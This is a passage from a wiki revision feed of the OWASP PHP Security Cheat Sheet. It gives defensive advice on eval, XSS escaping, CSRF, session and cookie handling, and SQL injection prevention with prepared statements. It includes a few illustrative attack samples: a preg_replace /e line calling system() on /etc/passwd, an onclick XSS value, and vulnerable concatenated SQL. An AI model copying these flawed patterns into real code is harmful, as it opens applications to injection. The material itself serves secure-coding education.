All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165052</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165052"/>
				<updated>2013-12-21T19:11:53Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
